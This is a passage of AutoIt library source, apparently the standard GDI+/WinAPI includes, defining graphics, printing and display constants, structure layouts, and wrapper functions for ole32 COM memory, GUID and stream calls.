Global Const $gdip_hatchstyle_cross = 4 Global Const $gdip_hatchstyle_diagonalcross = 5 Global Const $gdip_hatchstyle_05percent = 6 Global Const $gdip_hatchstyle_10percent = 7 Global Const $gdip_hatchstyle_20percent = 8 Global Const $gdip_hatchstyle_25percent = 9 Global Const $gdip_hatchstyle_30percent = 10 Global Const $gdip_hatchstyle_40percent = 11 Global Const $gdip_hatchstyle_50percent = 12 Global Const $gdip_hatchstyle_60percent = 13 Global Const $gdip_hatchstyle_70percent = 14 Global Const $gdip_hatchstyle_75percent = 15 Global Const $gdip_hatchstyle_80percent = 16 Global Const $gdip_hatchstyle_90percent = 17 Global Const $gdip_hatchstyle_lightdownwarddiagonal = 18 Global Const $gdip_hatchstyle_lightupwarddiagonal = 19 Global Const $gdip_hatchstyle_darkdownwarddiagonal = 20 Global Const $gdip_hatchstyle_darkupwarddiagonal = 21 Global Const $gdip_hatchstyle_widedownwarddiagonal = 22 Global Const $gdip_hatchstyle_wideupwarddiagonal = 23 Global Const $gdip_hatchstyle_lightvertical = 24 Global Const $gdip_hatchstyle_lighthorizontal = 25 Global Const $gdip_hatchstyle_narrowvertical = 26 Global Const $gdip_hatchstyle_narrowhorizontal = 27 Global Const $gdip_hatchstyle_darkvertical = 28 Global Const $gdip_hatchstyle_darkhorizontal = 29 Global Const $gdip_hatchstyle_dasheddownwarddiagonal = 30 Global Const $gdip_hatchstyle_dashedupwarddiagonal = 31 Global Const $gdip_hatchstyle_dashedhorizontal = 32 Global Const $gdip_hatchstyle_dashedvertical = 33 Global Const $gdip_hatchstyle_smallconfetti = 34 Global Const $gdip_hatchstyle_largeconfetti = 35 Global Const $gdip_hatchstyle_zigzag = 36 Global Const $gdip_hatchstyle_wave = 37 Global Const $gdip_hatchstyle_diagonalbrick = 38 Global Const $gdip_hatchstyle_horizontalbrick = 39 Global Const $gdip_hatchstyle_weave = 40 Global Const $gdip_hatchstyle_plaid = 41 Global Const $gdip_hatchstyle_divot = 42 Global Const $gdip_hatchstyle_dottedgrid = 43 Global Const $gdip_hatchstyle_dotteddiamond = 44 Global Const $gdip_hatchstyle_shingle = 45 Global Const $gdip_hatchstyle_trellis = 46 Global Const $gdip_hatchstyle_sphere = 47 Global Const $gdip_hatchstyle_smallgrid = 48 Global Const $gdip_hatchstyle_smallcheckerboard = 49 Global Const $gdip_hatchstyle_largecheckerboard = 50 Global Const $gdip_hatchstyle_outlineddiamond = 51 Global Const $gdip_hatchstyle_soliddiamond = 52 Global Const $gdip_hatchstyle_total = 53 Global Const $gdip_hatchstyle_largegrid = $gdip_hatchstyle_cross Global Const $gdip_hatchstyle_min = $gdip_hatchstyle_horizontal Global Const $gdip_hatchstyle_max = $gdip_hatchstyle_total - 1 Global Const $gdip_blureffectguid = "{633C80A4-1843-482b-9EF2-BE2834C5FDD4}" Global Const $gdip_sharpeneffectguid = "{63CBF3EE-C526-402c-8F71-62C540BF5142}" Global Const $gdip_colormatrixeffectguid = "{718F2615-7933-40e3-A511-5F68FE14DD74}" Global Const $gdip_colorluteffectguid = "{A7CE72A9-0F7F-40d7-B3CC-D0C02D5C3212}" Global Const $gdip_brightnesscontrasteffectguid = "{D3A1DBE1-8EC4-4c17-9F4C-EA97AD1C343D}" Global Const $gdip_huesaturationlightnesseffectguid = "{8B2DD6C3-EB07-4d87-A5F0-7108E26A9C5F}" Global Const $gdip_levelseffectguid = "{99C354EC-2A31-4f3a-8C34-17A803B33A25}" Global Const $gdip_tinteffectguid = "{1077AF00-2848-4441-9489-44AD4C2D7A2C}" Global Const $gdip_colorbalanceeffectguid = "{537E597D-251E-48da-9664-29CA496B70F8}" Global Const $gdip_redeyecorrectioneffectguid = "{74D29D05-69A4-4266-9549-3CC52836B632}" Global Const $gdip_colorcurveeffectguid = "{DD6A0022-58E4-4a67-9D9B-D48EB881A53D}" Global Const $gdip_adjustexposure = 0 Global Const $gdip_adjustdensity = 1 Global Const $gdip_adjustcontrast = 2 Global Const $gdip_adjusthighlight = 3 Global Const $gdip_adjustshadow = 4 Global Const $gdip_adjustmidtone = 5 Global Const $gdip_adjustwhitesaturation = 6 Global Const $gdip_adjustblacksaturation = 7 Global Const $gdip_curvechannelall = 0 Global Const $gdip_curvechannelred = 1 Global Const $gdip_curvechannelgreen = 2 Global Const $gdip_curvechannelblue = 3 Global Const $gdip_palettetypecustom = 0 Global Const $gdip_palettetypeoptimal = 1 Global Const $gdip_palettetypefixedbw = 2 Global Const $gdip_palettetypefixedhalftone8 = 3 Global Const $gdip_palettetypefixedhalftone27 = 4 Global Const $gdip_palettetypefixedhalftone64 = 5 Global Const $gdip_palettetypefixedhalftone125 = 6 Global Const $gdip_palettetypefixedhalftone216 = 7 Global Const $gdip_palettetypefixedhalftone252 = 8 Global Const $gdip_palettetypefixedhalftone256 = 9 Global Const $gdip_paletteflagshasalpha = 1 Global Const $gdip_paletteflagsgrayscale = 2 Global Const $gdip_paletteflagshalftone = 4 Global Const $gdip_dithertypenone = 0 Global Const $gdip_dithertypesolid = 1 Global Const $gdip_dithertypeordered4x4 = 2 Global Const $gdip_dithertypeordered8x8 = 3 Global Const $gdip_dithertypeordered16x16 = 4 Global Const $gdip_dithertypeordered91x91 = 5 Global Const $gdip_dithertypespiral4x4 = 6 Global Const $gdip_dithertypespiral8x8 = 7 Global Const $gdip_dithertypedualspiral4x4 = 8 Global Const $gdip_dithertypedualspiral8x8 = 9 Global Const $gdip_dithertypeerrordiffusion = 10 Global Const $gdip_dithertypemax = 10 Global Const $gdip_histogramformatargb = 0 Global Const $gdip_histogramformatpargb = 1 Global Const $gdip_histogramformatrgb = 2 Global Const $gdip_histogramformatgray = 3 Global Const $gdip_histogramformatb = 4 Global Const $gdip_histogramformatg = 5 Global Const $gdip_histogramformatr = 6 Global Const $gdip_histogramformata = 7 Global Const $gdip_textrenderinghintsystemdefault = 0 Global Const $gdip_textrenderinghintsinglebitperpixelgridfit = 1 Global Const $gdip_textrenderinghintsinglebitperpixel = 2 Global Const $gdip_textrenderinghintantialiasgridfit = 3 Global Const $gdip_textrenderinghintantialias = 4 Global Const $gdip_textrenderinghintcleartypegridfit = 5 Global Const $gdip_rotatenoneflipnone = 0 Global Const $gdip_rotate90flipnone = 1 Global Const $gdip_rotate180flipnone = 2 Global Const $gdip_rotate270flipnone = 3 Global Const $gdip_rotatenoneflipx = 4 Global Const $gdip_rotate90flipx = 5 Global Const $gdip_rotate180flipx = 6 Global Const $gdip_rotate270flipx = 7 Global Const $gdip_rotatenoneflipy = $gdip_rotate180flipx Global Const $gdip_rotate90flipy = $gdip_rotate270flipx Global Const $gdip_rotate180flipy = $gdip_rotatenoneflipx Global Const $gdip_rotate270flipy = $gdip_rotate90flipx Global Const $gdip_rotatenoneflipxy = $gdip_rotate180flipnone Global Const $gdip_rotate90flipxy = $gdip_rotate270flipnone Global Const $gdip_rotate270flipxy = $gdip_rotate90flipnone Global Const $fr_private = 16 Global Const $fr_not_enum = 32 Global Const $compression_bitmap_png = 0 Global Const $compression_bitmap_jpeg = 1 Global Const $bs_dibpattern = 5 Global Const $bs_dibpattern8x8 = 8 Global Const $bs_dibpatternpt = 6 Global Const $bs_hatched = 2 Global Const $bs_hollow = 1 Global Const $bs_null = 1 Global Const $bs_pattern = 3 Global Const $bs_pattern8x8 = 7 Global Const $bs_solid = 0 Global Const $hs_bdiagonal = 3 Global Const $hs_cross = 4 Global Const $hs_diagcross = 5 Global Const $hs_fdiagonal = 2 Global Const $hs_horizontal = 0 Global Const $hs_vertical = 1 Global Const $dib_pal_colors = 1 Global Const $dib_rgb_colors = 0 Global Const $ca_negative = 1 Global Const $ca_log_filter = 2 Global Const $illuminant_device_default = 0 Global Const $illuminant_a = 1 Global Const $illuminant_b = 2 Global Const $illuminant_c = 3 Global Const $illuminant_d50 = 4 Global Const $illuminant_d55 = 5 Global Const $illuminant_d65 = 6 Global Const $illuminant_d75 = 7 Global Const $illuminant_f2 = 8 Global Const $illuminant_tungsten = $illuminant_a Global Const $illuminant_daylight = $illuminant_c Global Const $illuminant_fluorescent = $illuminant_f2 Global Const $illuminant_ntsc = $illuminant_c Global Const $bi_rgb = 0 Global Const $bi_rle8 = 1 Global Const $bi_rle4 = 2 Global Const $bi_bitfields = 3 Global Const $bi_jpeg = 4 Global Const $bi_png = 5 Global Const $alternate = 1 Global Const $winding = 2 Global Const $dwmwa_ncrendering_enabled = 1 Global Const $dwmwa_ncrendering_policy = 2 Global Const $dwmwa_transitions_forcedisabled = 3 Global Const $dwmwa_allow_ncpaint = 4 Global Const $dwmwa_caption_button_bounds = 5 Global Const $dwmwa_nonclient_rtl_layout = 6 Global Const $dwmwa_force_iconic_representation = 7 Global Const $dwmwa_flip3d_policy = 8 Global Const $dwmwa_extended_frame_bounds = 9 Global Const $dwmwa_has_iconic_bitmap = 10 Global Const $dwmwa_disallow_peek = 11 Global Const $dwmwa_excluded_from_peek = 12 Global Const $dwmncrp_usewindowstyle = 0 Global Const $dwmncrp_disabled = 1 Global Const $dwmncrp_enabled = 2 Global Const $dwmflip3d_default = 0 Global Const $dwmflip3d_excludebelow = 1 Global Const $dwmflip3d_excludeabove = 2 Global Const $dm_bitsperpel = 262144 Global Const $dm_collate = 32768 Global Const $dm_color = 2048 Global Const $dm_copies = 256 Global Const $dm_defaultsource = 512 Global Const $dm_displayfixedoutput = 536870912 Global Const $dm_displayflags = 2097152 Global Const $dm_displayfrequency = 4194304 Global Const $dm_displayorientation = 128 Global Const $dm_dithertype = 67108864 Global Const $dm_duplex = 4096 Global Const $dm_formname = 65536 Global Const $dm_icmintent = 16777216 Global Const $dm_icmmethod = 8388608 Global Const $dm_logpixels = 131072 Global Const $dm_mediatype = 33554432 Global Const $dm_nup = 64 Global Const $dm_orientation = 1 Global Const $dm_panningheight = 268435456 Global Const $dm_panningwidth = 134217728 Global Const $dm_paperlength = 4 Global Const $dm_papersize = 2 Global Const $dm_paperwidth = 8 Global Const $dm_pelsheight = 1048576 Global Const $dm_pelswidth = 524288 Global Const $dm_position = 32 Global Const $dm_printquality = 1024 Global Const $dm_scale = 16 Global Const $dm_ttoption = 16384 Global Const $dm_yresolution = 8192 Global Const $dmpaper_letter = 1 Global Const $dmpaper_lettersmall = 2 Global Const $dmpaper_tabloid = 3 Global Const $dmpaper_ledger = 4 Global Const $dmpaper_legal = 5 Global Const $dmpaper_statement = 6 Global Const $dmpaper_executive = 7 Global Const $dmpaper_a3 = 8 Global Const $dmpaper_a4 = 9 Global Const $dmpaper_a4small = 10 Global Const $dmpaper_a5 = 11 Global Const $dmpaper_b4 = 12 Global Const $dmpaper_b5 = 13 Global Const $dmpaper_folio = 14 Global Const $dmpaper_quarto = 15 Global Const $dmpaper_10x14 = 16 Global Const $dmpaper_11x17 = 17 Global Const $dmpaper_note = 18 Global Const $dmpaper_env_9 = 19 Global Const $dmpaper_env_10 = 20 Global Const $dmpaper_env_11 = 21 Global Const $dmpaper_env_12 = 22 Global Const $dmpaper_env_14 = 23 Global Const $dmpaper_csheet = 24 Global Const $dmpaper_dsheet = 25 Global Const $dmpaper_esheet = 26 Global Const $dmpaper_env_dl = 27 Global Const $dmpaper_env_c5 = 28 Global Const $dmpaper_env_c3 = 29 Global Const $dmpaper_env_c4 = 30 Global Const $dmpaper_env_c6 = 31 Global Const $dmpaper_env_c65 = 32 Global Const $dmpaper_env_b4 = 33 Global Const $dmpaper_env_b5 = 34 Global Const $dmpaper_env_b6 = 35 Global Const $dmpaper_env_italy = 36 Global Const $dmpaper_env_monarch = 37 Global Const $dmpaper_env_personal = 38 Global Const $dmpaper_fanfold_us = 39 Global Const $dmpaper_fanfold_std_german = 40 Global Const $dmpaper_fanfold_lgl_german = 41 Global Const $dmpaper_iso_b4 = 42 Global Const $dmpaper_japanese_postcard = 43 Global Const $dmpaper_9x11 = 44 Global Const $dmpaper_10x11 = 45 Global Const $dmpaper_15x11 = 46 Global Const $dmpaper_env_invite = 47 Global Const $dmpaper_reserved_48 = 48 Global Const $dmpaper_reserved_49 = 49 Global Const $dmpaper_letter_extra = 50 Global Const $dmpaper_legal_extra = 51 Global Const $dmpaper_tabloid_extra = 52 Global Const $dmpaper_a4_extra = 53 Global Const $dmpaper_letter_transverse = 54 Global Const $dmpaper_a4_transverse = 55 Global Const $dmpaper_letter_extra_transverse = 56 Global Const $dmpaper_a_plus = 57 Global Const $dmpaper_b_plus = 58 Global Const $dmpaper_letter_plus = 59 Global Const $dmpaper_a4_plus = 60 Global Const $dmpaper_a5_transverse = 61 Global Const $dmpaper_b5_transverse = 62 Global Const $dmpaper_a3_extra = 63 Global Const $dmpaper_a5_extra = 64 Global Const $dmpaper_b5_extra = 65 Global Const $dmpaper_a2 = 66 Global Const $dmpaper_a3_transverse = 67 Global Const $dmpaper_a3_extra_transverse = 68 Global Const $dmpaper_dbl_japanese_postcard = 69 Global Const $dmpaper_a6 = 70 Global Const $dmpaper_jenv_kaku2 = 71 Global Const $dmpaper_jenv_kaku3 = 72 Global Const $dmpaper_jenv_chou3 = 73 Global Const $dmpaper_jenv_chou4 = 74 Global Const $dmpaper_letter_rotated = 75 Global Const $dmpaper_a3_rotated = 76 Global Const $dmpaper_a4_rotated = 77 Global Const $dmpaper_a5_rotated = 78 Global Const $dmpaper_b4_jis_rotated = 79 Global Const $dmpaper_b5_jis_rotated = 80 Global Const $dmpaper_japanese_postcard_rotated = 81 Global Const $dmpaper_dbl_japanese_postcard_rotated = 82 Global Const $dmpaper_a6_rotated = 83 Global Const $dmpaper_jenv_kaku2_rotated = 84 Global Const $dmpaper_jenv_kaku3_rotated = 85 Global Const $dmpaper_jenv_chou3_rotated = 86 Global Const $dmpaper_jenv_chou4_rotated = 87 Global Const $dmpaper_b6_jis = 88 Global Const $dmpaper_b6_jis_rotated = 89 Global Const $dmpaper_12x11 = 90 Global Const $dmpaper_jenv_you4 = 91 Global Const $dmpaper_jenv_you4_rotated = 92 Global Const $dmpaper_p16k = 93 Global Const $dmpaper_p32k = 94 Global Const $dmpaper_p32kbig = 95 Global Const $dmpaper_penv_1 = 96 Global Const $dmpaper_penv_2 = 97 Global Const $dmpaper_penv_3 = 98 Global Const $dmpaper_penv_4 = 99 Global Const $dmpaper_penv_5 = 100 Global Const $dmpaper_penv_6 = 101 Global Const $dmpaper_penv_7 = 102 Global Const $dmpaper_penv_8 = 103 Global Const $dmpaper_penv_9 = 104 Global Const $dmpaper_penv_10 = 105 Global Const $dmpaper_p16k_rotated = 106 Global Const $dmpaper_p32k_rotated = 107 Global Const $dmpaper_p32kbig_rotated = 108 Global Const $dmpaper_penv_1_rotated = 109 Global Const $dmpaper_penv_2_rotated = 110 Global Const $dmpaper_penv_3_rotated = 111 Global Const $dmpaper_penv_4_rotated = 112 Global Const $dmpaper_penv_5_rotated = 113 Global Const $dmpaper_penv_6_rotated = 114 Global Const $dmpaper_penv_7_rotated = 115 Global Const $dmpaper_penv_8_rotated = 116 Global Const $dmpaper_penv_9_rotated = 117 Global Const $dmpaper_penv_10_rotated = 118 Global Const $dmpaper_user = 256 Global Const $dmbin_upper = 1 Global Const $dmbin_lower = 2 Global Const $dmbin_middle = 3 Global Const $dmbin_manual = 4 Global Const $dmbin_envelope = 5 Global Const $dmbin_envmanual = 6 Global Const $dmbin_auto = 7 Global Const $dmbin_tractor = 8 Global Const $dmbin_smallfmt = 9 Global Const $dmbin_largefmt = 10 Global Const $dmbin_largecapacity = 11 Global Const $dmbin_cassette = 14 Global Const $dmbin_formsource = 15 Global Const $dmbin_user = 256 Global Const $dmres_draft = -1 Global Const $dmres_low = -2 Global Const $dmres_medium = -3 Global Const $dmres_high = -4 Global Const $dmdo_default = 0 Global Const $dmdo_90 = 1 Global Const $dmdo_180 = 2 Global Const $dmdo_270 = 3 Global Const $dmdfo_default = 0 Global Const $dmdfo_stretch = 1 Global Const $dmdfo_center = 2 Global Const $dmcolor_monochrome = 1 Global Const $dmcolor_color = 2 Global Const $dmdup_simplex = 1 Global Const $dmdup_vertical = 2 Global Const $dmdup_horizontal = 3 Global Const $dmtt_bitmap = 1 Global Const $dmtt_download = 2 Global Const $dmtt_subdev = 3 Global Const $dmtt_download_outline = 4 Global Const $dmcollate_false = 0 Global Const $dmcollate_true = 1 Global Const $dm_grayscale = 1 Global Const $dm_interlaced = 2 Global Const $dmnup_system = 1 Global Const $dmnup_oneup = 2 Global Const $dmicmmethod_none = 1 Global Const $dmicmmethod_system = 2 Global Const $dmicmmethod_driver = 3 Global Const $dmicmmethod_device = 4 Global Const $dmicmmethod_user = 256 Global Const $dmicm_saturate = 1 Global Const $dmicm_contrast = 2 Global Const $dmicm_colorimetric = 3 Global Const $dmicm_abs_colorimetric = 4 Global Const $dmicm_user = 256 Global Const $dmmedia_standard = 1 Global Const $dmmedia_transparency = 2 Global Const $dmmedia_glossy = 3 Global Const $dmmedia_user = 256 Global Const $dmdither_none = 1 Global Const $dmdither_coarse = 2 Global Const $dmdither_fine = 3 Global Const $dmdither_lineart = 4 Global Const $dmdither_errordiffusion = 5 Global Const $dmdither_reserved6 = 6 Global Const $dmdither_reserved7 = 7 Global Const $dmdither_reserved8 = 8 Global Const $dmdither_reserved9 = 9 Global Const $dmdither_grayscale = 10 Global Const $dmdither_user = 256 Global Const $enum_current_settings = -1 Global Const $enum_registry_settings = -2 Global Const $device_fonttype = 2 Global Const $raster_fonttype = 1 Global Const $truetype_fonttype = 4 Global Const $ntm_bold = 32 Global Const $ntm_dsig = 2097152 Global Const $ntm_italic = 1 Global Const $ntm_multiplemaster = 524288 Global Const $ntm_nonnegative_ac = 65536 Global Const $ntm_ps_opentype = 131072 Global Const $ntm_regular = 64 Global Const $ntm_tt_opentype = 262144 Global Const $ntm_type1 = 1048576 Global Const $floodfillborder = 0 Global Const $floodfillsurface = 1 Global Const $ad_counterclockwise = 1 Global Const $ad_clockwise = 2 Global Const $dcb_accumulate = 2 Global Const $dcb_disable = 8 Global Const $dcb_enable = 4 Global Const $dcb_reset = 1 Global Const $dcb_set = BitOR($dcb_reset, $dcb_accumulate) Global Const $obj_bitmap = 7 Global Const $obj_brush = 2 Global Const $obj_colorspace = 14 Global Const $obj_dc = 3 Global Const $obj_enhmetadc = 12 Global Const $obj_enhmetafile = 13 Global Const $obj_extpen = 11 Global Const $obj_font = 6 Global Const $obj_memdc = 10 Global Const $obj_metadc = 4 Global Const $obj_metafile = 9 Global Const $obj_pal = 5 Global Const $obj_pen = 1 Global Const $obj_region = 8 Global Const $dcx_window = 1 Global Const $dcx_cache = 2 Global Const $dcx_parentclip = 32 Global Const $dcx_clipsiblings = 16 Global Const $dcx_clipchildren = 8 Global Const $dcx_noresetattrs = 4 Global Const $dcx_lockwindowupdate = 1024 Global Const $dcx_excludergn = 64 Global Const $dcx_intersectrgn = 128 Global Const $dcx_intersectupdate = 512 Global Const $dcx_validate = 2097152 Global Const $ggo_bezier = 3 Global Const $ggo_bitmap = 1 Global Const $ggo_glyph_index = 128 Global Const $ggo_gray2_bitmap = 4 Global Const $ggo_gray4_bitmap = 5 Global Const $ggo_gray8_bitmap = 6 Global Const $ggo_metrics = 0 Global Const $ggo_native = 2 Global Const $ggo_unhinted = 256 Global Const $gm_compatible = 1 Global Const $gm_advanced = 2 Global Const $mm_anisotropic = 8 Global Const $mm_hienglish = 5 Global Const $mm_himetric = 3 Global Const $mm_isotropic = 7 Global Const $mm_loenglish = 4 Global Const $mm_lometric = 2 Global Const $mm_text = 1 Global Const $mm_twips = 6 Global Const $r2_black = 1 Global Const $r2_copypen = 13 Global Const $r2_last = 16 Global Const $r2_masknotpen = 3 Global Const $r2_maskpen = 9 Global Const $r2_maskpennot = 5 Global Const $r2_mergenotpen = 12 Global Const $r2_mergepen = 15 Global Const $r2_mergepennot = 14 Global Const $r2_nop = 11 Global Const $r2_not = 6 Global Const $r2_notcopypen = 4 Global Const $r2_notmaskpen = 8 Global Const $r2_notmergepen = 2 Global Const $r2_notxorpen = 10 Global Const $r2_white = 16 Global Const $r2_xorpen = 7 Global Const $blackonwhite = 1 Global Const $coloroncolor = 3 Global Const $halftone = 4 Global Const $whiteonblack = 2 Global Const $stretch_andscans = $blackonwhite Global Const $stretch_deletescans = $coloroncolor Global Const $stretch_halftone = $halftone Global Const $stretch_orscans = $whiteonblack Global Const $ta_baseline = 24 Global Const $ta_bottom = 8 Global Const $ta_top = 0 Global Const $ta_center = 6 Global Const $ta_left = 0 Global Const $ta_right = 2 Global Const $ta_noupdatecp = 0 Global Const $ta_rtlreading = 256 Global Const $ta_updatecp = 1 Global Const $vta_baseline = $ta_baseline Global Const $vta_bottom = $ta_right Global Const $vta_top = $ta_left Global Const $vta_center = $ta_center Global Const $vta_left = $ta_bottom Global Const $vta_right = $ta_top Global Const $udf_bgr = 1 Global Const $udf_rgb = 0 Global Const $mwt_identity = 1 Global Const $mwt_leftmultiply = 2 Global Const $mwt_rightmultiply = 3 Global Const $mwt_set = 4 Global Const $monitor_defaulttonearest = 2 Global Const $monitor_defaulttonull = 0 Global Const $monitor_defaulttoprimary = 1 Global Const $pt_bezierto = 4 Global Const $pt_lineto = 2 Global Const $pt_moveto = 6 Global Const $pt_closefigure = 1 Global Const $coinit_apartmentthreaded = 2 Global Const $coinit_disable_ole1dde = 4 Global Const $coinit_multithreaded = 0 Global Const $coinit_speed_over_memory = 8 #Region Global Variables and Constants Global Const $__tagwinapicom_guid = "struct;ulong Data1;ushort Data2;ushort Data3;byte Data4[8];endstruct" #EndRegion Global Variables and Constants #Region Functions list #EndRegion Functions list #Region Public Functions Func _winapi_clsidfromprogid($sprogid) Local $tguid = DllStructCreate($__tagwinapicom_guid) Local $areturn = DllCall("ole32.dll", "long", "CLSIDFromProgID", "wstr", $sprogid, "struct*", $tguid) If @error Then Return SetError(@error, @extended, "") If $areturn[0] Then Return SetError(10, $areturn[0], "") $areturn = DllCall("ole32.dll", "int", "StringFromGUID2", "struct*", $tguid, "wstr", "", "int", 39) If @error OR NOT $areturn[0] Then Return SetError(@error + 20, @extended, "") Return $areturn[2] EndFunc Func _winapi_coinitialize($iflags = 0) Local $areturn = DllCall("ole32.dll", "long", "CoInitializeEx", "ptr", 0, "dword", $iflags) If @error Then Return SetError(@error, @extended, 0) If $areturn[0] Then Return SetError(10, $areturn[0], 0) Return 1 EndFunc Func _winapi_cotaskmemalloc($isize) Local $areturn = DllCall("ole32.dll", "ptr", "CoTaskMemAlloc", "uint_ptr", $isize) If @error Then Return SetError(@error, @extended, 0) Return $areturn[0] EndFunc Func _winapi_cotaskmemfree($pmemory) DllCall("ole32.dll", "none", "CoTaskMemFree", "ptr", $pmemory) If @error Then Return SetError(@error, @extended, 0) Return 1 EndFunc Func _winapi_cotaskmemrealloc($pmemory, $isize) Local $areturn = DllCall("ole32.dll", "ptr", "CoTaskMemRealloc", "ptr", $pmemory, "ulong_ptr", $isize) If @error Then Return SetError(@error, @extended, 0) Return $areturn[0] EndFunc Func _winapi_couninitialize() DllCall("ole32.dll", "none", "CoUninitialize") If @error Then Return SetError(@error, @extended, 0) Return 1 EndFunc Func _winapi_createguid() Local $tguid = DllStructCreate($__tagwinapicom_guid) Local $areturn = DllCall("ole32.dll", "long", "CoCreateGuid", "struct*", $tguid) If @error Then Return SetError(@error, @extended, "") If $areturn[0] Then Return SetError(10, $areturn[0], "") $areturn = DllCall("ole32.dll", "int", "StringFromGUID2", "struct*", $tguid, "wstr", "", "int", 65536) If @error OR NOT $areturn[0] Then Return SetError(@error + 20, @extended, "") Return $areturn[2] EndFunc Func _winapi_createstreamonhglobal($hglobal = 0, $bdeleteonrelease = True) Local $areturn = DllCall("ole32.dll", "long", "CreateStreamOnHGlobal", "handle", $hglobal, "bool", $bdeleteonrelease, "ptr*", 0) If @error Then Return SetError(@error, @extended, 0) If $areturn[0] Then Return SetError(10, $areturn[0], 0) Return $areturn[3] EndFunc Func _winapi_gethglobalfromstream($pstream) Local $areturn = DllCall("ole32.dll", "uint", "GetHGlobalFromStream", "ptr", $pstream, "ptr*", 0) If @error Then Return SetError(@error, @extended, 0) If $areturn[0] Then Return SetError(10, $areturn[0], 0) Return $areturn[2] EndFunc Func _winapi_progidfromclsid($sclsid) Local $tguid = DllStructCreate($__tagwinapicom_guid) Local $areturn = DllCall("ole32.dll", "uint", "CLSIDFromString", "wstr", $sclsid, "struct*", $tguid) If @error OR $areturn[0] Then Return SetError(@error + 20, @extended, "") $areturn = DllCall("ole32.dll", "uint", "ProgIDFromCLSID", "struct*", $tguid, "ptr*", 0) If @error Then Return SetError(@error, @extended, "") If $areturn[0] Then Return SetError(10, $areturn[0], "") Local $sid = _winapi_getstring($areturn[2]) _winapi_cotaskmemfree($areturn[2]) Return $sid EndFunc Func _winapi_releasestream($pstream) Local $areturn = DllCall("oleaut32.dll", "long", "DispCallFunc", "ptr", $pstream, "ulong_ptr", 8 * (1 + @AutoItX64), "uint", 4, "ushort", 23, "uint", 0, "ptr", 0, "ptr", 0, "str", "") If @error Then Return SetError(@error, @extended, 0) If $areturn[0] Then Return SetError(10, $areturn[0], 0) Return 1 EndFunc #EndRegion Public Functions #Region Global Variables and Constants Global Const $tagbitmap = "struct;long bmType;long bmWidth;long bmHeight;long bmWidthBytes;ushort bmPlanes;ushort bmBitsPixel;ptr bmBits;endstruct" Global Const $tagbitmapv4header = "struct;dword bV4Size;long bV4Width;long bV4Height;ushort bV4Planes;ushort bV4BitCount;dword bV4Compression;dword bV4SizeImage;long bV4XPelsPerMeter;long bV4YPelsPerMeter;dword bV4ClrUsed;dword bV4ClrImportant;dword bV4RedMask;dword bV4GreenMask;dword bV4BlueMask;dword bV4AlphaMask;dword bV4CSType;int bV4Endpoints[9];dword bV4GammaRed;dword bV4GammaGreen;dword bV4GammaBlue;endstruct" Global Const $tagbitmapv5header = "struct;dword bV5Size;long bV5Width;long bV5Height;ushort bV5Planes;ushort bV5BitCount;dword bV5Compression;dword bV5SizeImage;long bV5XPelsPerMeter;long bV5YPelsPerMeter;dword bV5ClrUsed;dword bV5ClrImportant;dword bV5RedMask;dword bV5GreenMask;dword bV5BlueMask;dword bV5AlphaMask;dword bV5CSType;int bV5Endpoints[9];dword bV5GammaRed;dword bV5GammaGreen;dword bV5GammaBlue;dword bV5Intent;dword bV5ProfileData;dword bV5ProfileSize;dword bV5Reserved;endstruct" Global Const $tagcoloradjustment = "ushort Size;ushort Flags;ushort IlluminantIndex;ushort RedGamma;ushort GreenGamma;ushort BlueGamma;ushort ReferenceBlack;ushort ReferenceWhite;short Contrast;short Brightness;short Colorfulness;short RedGreenTint" Global Const $tagdevmode_display = "wchar DeviceName[32];ushort SpecVersion;ushort DriverVersion;ushort Size;ushort DriverExtra;dword Fields;" & $tagpoint & ";dword DisplayOrientation;dword DisplayFixedOutput;short Unused1[5];wchar Unused2[32];ushort LogPixels;dword BitsPerPel;dword PelsWidth;dword PelsHeight;dword DisplayFlags;dword DisplayFrequency" Global Const $tagdibsection = $tagbitmap & ";" & $tagbitmapinfoheader & ";dword dsBitfields[3];ptr dshSection;dword dsOffset" Global Const $tagdwm_colorization_parameters = "dword Color;dword AfterGlow;uint ColorBalance;uint AfterGlowBalance;uint BlurBalance;uint GlassReflectionIntensity; uint OpaqueBlend" Global Const $tagenhmetaheader = "struct;dword Type;dword Size;long rcBounds[4];long rcFrame[4];dword Signature;dword Version;dword Bytes;dword Records;ushort Handles;ushort Reserved;dword Description;dword OffDescription;dword PalEntries;long Device[2];long Millimeters[2];dword PixelFormat;dword OffPixelFormat;dword OpenGL;long Micrometers[2];endstruct" Global Const $tagextlogpen = "dword PenStyle;dword Width;uint BrushStyle;dword Color;ulong_ptr Hatch;dword NumEntries" Global Const $tagfontsignature = "dword fsUsb[4];dword fsCsb[2]" Global Const $tagglyphmetrics = "uint BlackBoxX;uint BlackBoxY;" & $tagpoint & ";short CellIncX;short CellIncY" Global Const $taglogbrush = "uint Style;dword Color;ulong_ptr Hatch" Global Const $taglogpen = "uint Style;dword Width;dword Color" Global Const $tagmat2 = "short eM11[2];short eM12[2];short eM21[2];short eM22[2]" Global Const $tagnewtextmetric = $tagtextmetric & ";dword ntmFlags;uint ntmSizeEM;uint ntmCellHeight;uint ntmAvgWidth" Global Const $tagnewtextmetricex = $tagnewtextmetric & ";" & $tagfontsignature Global Const $tagpanose = "struct;byte bFamilyType;byte bSerifStyle;byte bWeight;byte bProportion;byte bContrast;byte bStrokeVariation;byte bArmStyle;byte bLetterform;byte bMidline;byte bXHeight;endstruct" Global Const $tagoutlinetextmetric = "struct;uint otmSize;" & $tagtextmetric & ";byte otmFiller;" & $tagpanose & ";byte bugFiller[3];uint otmSelection;uint otmType;int otmCharSlopeRise;int otmCharSlopeRun;int otmItalicAngle;uint otmEMSquare;int otmAscent;int otmDescent;uint otmLineGap;uint otmCapEmHeight;uint otmXHeight;long otmFontBox[4];int otmMacAscent;int otmMacDescent;uint otmMacLineGap;uint otmMinimumPPEM;long otmSubscriptSize[2];long otmSubscriptOffset[2];long otmSuperscriptSize[2];long otmSuperscriptOffse[2];uint otmStrikeoutSize;int otmStrikeoutPosition;int otmUnderscoreSize;int otmUnderscorePosition;uint_ptr otmFamilyName;uint_ptr otmFaceName;uint_ptr otmStyleName;uint_ptr otmFullName;endstruct" Global Const $tagpaintstruct = "hwnd hDC;int fErase;dword rPaint[4];int fRestore;int fIncUpdate;byte rgbReserved[32]" Global Const $tagrgndataheader = "struct;dword Size;dword Type;dword Count;dword RgnSize;" & $tagrect & ";endstruct" Global Const $tagxform = "float eM11;float eM12;float eM21;float eM22;float eDx;float eDy" #EndRegion Global Variables and Constants #Region Functions list #EndRegion Functions list #Region Public Functions Func _winapi_abortpath($hdc) Local $aret = DllCall("gdi32.dll", "bool", "AbortPath", "handle", $hdc) If @error Then Return SetError(@error, 